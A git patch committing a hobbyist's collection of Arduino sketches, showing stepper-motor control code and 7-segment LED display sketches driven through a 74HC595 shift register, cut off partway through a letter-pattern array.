From 6c84b31f2c7d9b041f35ac91b313804aa100475d Mon Sep 17 00:00:00 2001 From: KevinMidboe Date: Thu, 30 May 2019 23:41:53 +0200 Subject: [PATCH] Init commit with many years of arduino sketches and projects. I dont know if the esp8266 includes much, but there are also libraries. I hope they dont have crazy automatic versioning through the Arduino IDE. --- .../Third_WithButtons/Third_WithButtons.ino | 86 + .../28BYJ Stepper/first_test/first_test.ino | 166 + Projects/28BYJ Stepper/second/second.ino | 95 + .../The_Final_Coutdown_.ino | 477 + .../_2x7_Segment_74HC_HEI_ELIAS_.ino | 323 + .../_2x7_Segment_74HC_Self.ino | 324 + .../_2x7_Segment_74HC_Write.ino | 603 + .../7 Segment Main/_7_Segment/_7_Segment.ino | 288 + .../_7_Segment_Letters/_7_Segment_Letters.ino | 98 + .../_7_Segment_Self/_7_Segment_Self.ino | 98 + .../_7_Segment_w__74HC/_7_Segment_w__74HC.ino | 98 + .../_8_LED_74HC/_8_LED_74HC.ino | 236 + .../_1.singleTest/_1.singleTest.ino | 109 + .../_1.singleTets/_1.singleTets.ino | 69 + .../Colorful_Light_RGB_LEDs.ino | 78 + .../I2C_20x4_Test/I2C_20x4_Test.ino | 39 + Projects/IR_LightSwitch/IR_LightSwitch.ino | 92 + Projects/Keyboard/Login/Login.ino | 22 + .../Keyboard/Open_Program/Open_Program.ino | 24 + Projects/Keyboard/Sleep/Sleep.ino | 24 + Projects/Keyboard/ping/ping.ino | 28 + Projects/Lock/Lock.ino | 104 + Projects/ProgLab/Instrument/Instrument.ino | 25 + Projects/ProgLab/Instrument2/Instrument2.ino | 1 + Projects/ProgLab/LineFollow/LineFollow.ino | 107 + .../ProgLab/LineFollower/LineFollower.ino | 53 + Projects/ProgLab/Lyskryss/Lyskryss.ino | 57 + .../Lyskryss/data/plab-library-master.zip | Bin 0 -> 1374 bytes Projects/ProgLab/Zumo_1/Zumo_1.ino | 89 + Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino | 54 + Projects/ProgLab/Zumo_2/Zumo_2.ino | 81 + Projects/ProgLab/Zumo__/Zumo__.ino | 128 + Projects/ProgLab/toneAC.h/toneAC.h | 221 + Projects/ProgLab/toneAC.h/toneAC.h.ino | 35 + .../RelayController_1.0.ino | 66 + .../ServerController_1.0.ino | 264 + .../ServerController_1.1.ino | 235 + Projects/Reset/Reset.ino | 31 + .../ST_Two_Small_Clock/ST2_Main/ST2_Main.ino | 222 + .../ST2_Matrix/ST2_Matrix.ino | 170 + .../ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino | 526 + .../ST2_Routines/ST2_Routines.ino | 1449 + .../ST2_Setup/ST2_Setup.ino | 112 + .../ST2_Sleep/ST2_Sleep.ino | 137 + .../ST_Two_Small_Clock/ST2_TWI/ST2_TWI.ino | 25 + .../ST_Two_Small_Clock_1.ino | 356 + Projects/Servo_Sweep/Servo_Sweep.ino | 29 + Projects/StepMotor/StepMotor.ino | 93 + .../Joystick_DirectionPrint.ino | 31 + .../Menusystem_LCD/Menusystem_LCD.ino | 72 + .../data/JoystickController.zip | Bin 0 -> 10312 bytes .../Screen Shot 2014-05-11 at 22.08.05.png | Bin 0 -> 204931 bytes .../Schematics/Tea-Duino Schematic.fzz | Bin 0 -> 10702 bytes .../Tea-duino Main/SimplePost/SimplePost.ino | 60 + Projects/Tea-duino Main/Tea-duino 2.0.pde | 315 + Projects/Tea-duino Main/Tea-duino.pde | 284 + .../TeaAnimation/TeaAnimation.ino | 200 + .../Tea-duino Main/Tea_duino/Tea_duino.ino | 284 + .../Tea_duino_2_0/Tea_duino_2_0.ino | 315 + .../Tea_duino_3_0/Tea_duino_3_0.ino | 354 + Projects/Temp Main/TEMP01/TEMP01.ino | 56 + Projects/Temp Main/TEMP02/TEMP02.ino | 37 + Projects/Temp Main/Temp_All/Temp_All.ino | 114 + Projects/Temp Main/Temp_Pre/Temp_Pre.ino | 46 + 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100755 libraries/Zumo/ZumoBuzzer.h create mode 100755 libraries/Zumo/ZumoMotors.cpp create mode 100755 libraries/Zumo/ZumoMotors.h create mode 100755 libraries/Zumo/ZumoReflectanceSensorArray.h create mode 100644 libraries/readme.txt diff --git a/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino b/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino new file mode 100644 index 0000000..1e880d2 --- /dev/null +++ b/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino @@ -0,0 +1,86 @@ + +int leftCCW[] = {8, 9, 10, 11}; +int leftCW[] = {11, 10, 9, 8}; +int leftButtons[] = {2, 3}; + +int rightCCW[] = {4, 5, 6, 7}; +int rightCW[] = {7, 6, 5, 4}; +int rightButtons[] = {0, 1}; + +const int motorSteps[8][4] = { +{1, 0, 0, 0}, +{1, 1, 0, 0}, +{0, 1, 0, 0}, +{0, 1, 1, 0}, +{0, 0, 0, 1}, +{0, 0, 1, 1}, +{0, 0, 0, 1}, +{1, 0, 0, 1} +}; + +int motorSpeed = 0; + +void setup() { + for (int i=0; i < 4; i++) { + pinMode(leftCW[i], OUTPUT); + pinMode(rightCW[i], OUTPUT); + } + for (int i = 0; i < 2; i++) { + pinMode(leftButtons[i], INPUT); + pinMode(rightButtons[i], INPUT); + } +} + +void loop() { + if (analogRead(leftButtons[0]) == 0) { + leftUp(); + } else if(analogRead(leftButtons[1]) == 1){ + leftDown(); + } + + if (analogRead(leftButtons[0]) == 0) { + rightUp(); + } else if(analogRead(leftButtons[1]) == 1){ + rightDown(); + } +} + +void leftUp() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void leftDown() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void rightUp() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void rightDown() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCW[j], motorSteps[j][i]); + delay(1); + } + } +} diff --git a/Projects/28BYJ Stepper/first_test/first_test.ino b/Projects/28BYJ Stepper/first_test/first_test.ino new file mode 100644 index 0000000..58d0d16 --- /dev/null +++ b/Projects/28BYJ Stepper/first_test/first_test.ino @@ -0,0 +1,166 @@ +// This Arduino example demonstrates bidirectional operation of a +// 28BYJ-48, which is readily available on eBay, using a ULN2003 +// interface board to drive the stepper. The 28BYJ-48 motor is a 4- +// phase, 8-beat motor, geared down by a factor of 68. Onint e bipolar +// winding is on motor pins 1 & 3 and the other on motor pins 2 & 4. +// Refer to the manufacturer's documentation of Changzhou Fulling +// Motor Co., Ltd., among others. The step angle is 5.625/64 and the +// operating Frequency is 100pps. Current draw is 92mA. In this +// example, the speed and direction of the stepper motor is determined +// by adjusting a 1k-ohm potentiometer connected to Arduino pin A2. +// When the potentiometer is rotated fully counterclockwise, the motor +// will rotate at full counterclockwise speed. As the potentiometer is +// rotated clockwise, the motor will continue to slow down until is +// reaches its minimum speed at the the potentiometer's midpoint value . +// Once the potentiometer crosses its midpoint, the motor will reverse +// direction. As the potentiometer is rotated further clockwise, the speed +// of the motor will increase until it reaches its full clockwise rotation +// speed when the potentiometer has been rotated fully clockwise. +//////////////////////////////////////////////// + +//declare variables for the motor pins +int motorPin1 = 8; // Blue - 28BYJ48 pin 1 +int motorPin2 = 9; // Pink - 28BYJ48 pin 2 +int motorPin3 = 10; // Yellow - 28BYJ48 pin 3 +int motorPin4 = 11; // Orange - 28BYJ48 pin 4 + // Red - 28BYJ48 pin 5 (VCC) + +int motorSpeed = 0; //variable to set stepper speed +int potPin = 2; //potentiometer connected to A2 +int potValue = 0; //variable to read A0 input + + +////////////////////////////////////////////////////////////////////////////// +void setup() { + //declare the motor pins as outputs + pinMode(motorPin1, OUTPUT); + pinMode(motorPin2, OUTPUT); + pinMode(motorPin3, OUTPUT); + pinMode(motorPin4, OUTPUT); + Serial.begin(9600); +} + +////////////////////////////////////////////////////////////////////////////// +void loop(){ + + //potValue = analogRead(potPin); // read the value of the potentiometer + Serial.println(potValue); // View full range from 0 - 1024 in Serial Monitor + if (potValue < 535){ // if potentiometer reads 0 to 535 do this + motorSpeed = (potValue/15 + 5); //scale potValue to be useful for motor + clockwise(); //go to the ccw rotation function + } + else { //value of the potentiometer is 512 - 1024 + motorSpeed = ((1024-potValue)/15 + 5); //scale potValue for motor speed + counterclockwise(); //go the the cw rotation function + } +} + +////////////////////////////////////////////////////////////////////////////// +//set pins to ULN2003 high in sequence from 1 to 4 +//delay "motorSpeed" between each pin setting (to determine speed) + +void counterclockwise (){ + // 1 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 2 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay (motorSpeed); + // 3 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 4 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 5 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 6 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, HIGH); + delay (motorSpeed); + // 7 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, HIGH); + delay(motorSpeed); + // 8 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, HIGH); + delay(motorSpeed); +} + +////////////////////////////////////////////////////////////////////////////// +//set pins to ULN2003 high in sequence from 4 to 1 +//delay "motorSpeed" between each pin setting (to determine speed) + +void clockwise(){ + // 1 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 2 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay (motorSpeed); + // 3 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 4 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 5 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 6 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, HIGH); + delay (motorSpeed); + // 7 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, HIGH); + delay(motorSpeed); + // 8 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, HIGH); + delay(motorSpeed); +} diff --git a/Projects/28BYJ Stepper/second/second.ino b/Projects/28BYJ Stepper/second/second.ino new file mode 100644 index 0000000..646126a --- /dev/null +++ b/Projects/28BYJ Stepper/second/second.ino @@ -0,0 +1,95 @@ + +int leftCCW[] = {8, 9, 10, 11}; +int leftCW[] = {11, 10, 9, 8}; +int leftButtons[] = {0, 1}; + +int rightCCW[] = {4, 5, 6, 7}; +int rightCW[] = {7, 6, 5, 4}; +int rightButtons[] = {2, 3}; + +const int motorSteps[8][4] = { +{1, 0, 0, 0}, +{1, 1, 0, 0}, +{0, 1, 0, 0}, +{0, 1, 1, 0}, +{0, 0, 0, 1}, +{0, 0, 1, 1}, +{0, 0, 0, 1}, +{1, 0, 0, 1} +}; + +int motorSpeed = 0; + +void setup() +{ +for (int i=0; i < 4; i++) { +pinMode(leftCW[i], OUTPUT); +pinMode(rightCW[i], OUTPUT); +} +for (int i = 0; i < 2; i++) { +pinMode(leftButtons[i], INPUT); +pinMode(rightButtons[i], INPUT); +} + +pinMode(12, INPUT); + +Serial.begin(9600); +} + +void loop() +{ +if (digitalRead(12) == LOW) +{ windUp(); } +else { windDown(); } +} + +void windUp() { + while(digitalRead(rightButtons[1]) == LOW || digitalRead(leftButtons[1] == LOW)){ + if (digitalRead(rightButtons[1] == LOW)) + { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCCW[j], motorSteps[j][i]); + delay(1); + } + } + } + + if (digitalRead(leftButtons[1] == LOW)) + { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCW[j], motorSteps[j][i]); + delay(1); + } + } + } + } +} + +void windDown() { + while(digitalRead(rightButtons[0]) == LOW || digitalRead(leftButtons[0] == LOW)){ + if (digitalRead(rightButtons[0] == LOW)) { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCW[j], motorSteps[j][i]); + delay(1); + } + } + } + + if (digitalRead(leftButtons[0] == LOW)) { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCCW[j], motorSteps[j][i]); + delay(1); + } + } + } + } + +} diff --git a/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino b/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino new file mode 100755 index 0000000..3815b9b --- /dev/null +++ b/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino @@ -0,0 +1,477 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 11; +int clock = 13; +int latch = 12; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + +int ledDigitalOne[] = {10, 9, 8, 7, 6, 5, 4}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin +//Predefined Colors + +const boolean One[] = {ON, OFF, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {OFF, ON, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {ON, OFF, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {ON, OFF, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +void loop() +{ + int delayTime = 500; + for (int i = 0; i < 5; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(0,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 1 + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino new file mode 100755 index 0000000..461dc80 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino @@ -0,0 +1,323 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7, 6}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + +const boolean A[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean B[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; +const boolean C[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean D[] = {ON1, ON1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean E[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean F[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean G[] = {ON1, ON1, OFF1, OFF1, ON1, ON1, ON1}; +const boolean H[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean I[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean J[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean K[] = {OFF1, ON1, ON1, ON1, OFF1, OFF1, ON1}; +const boolean L[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean M[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean N[] = {OFF1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean O[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean P[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean Q[] = {ON1, ON1, OFF1, OFF1, 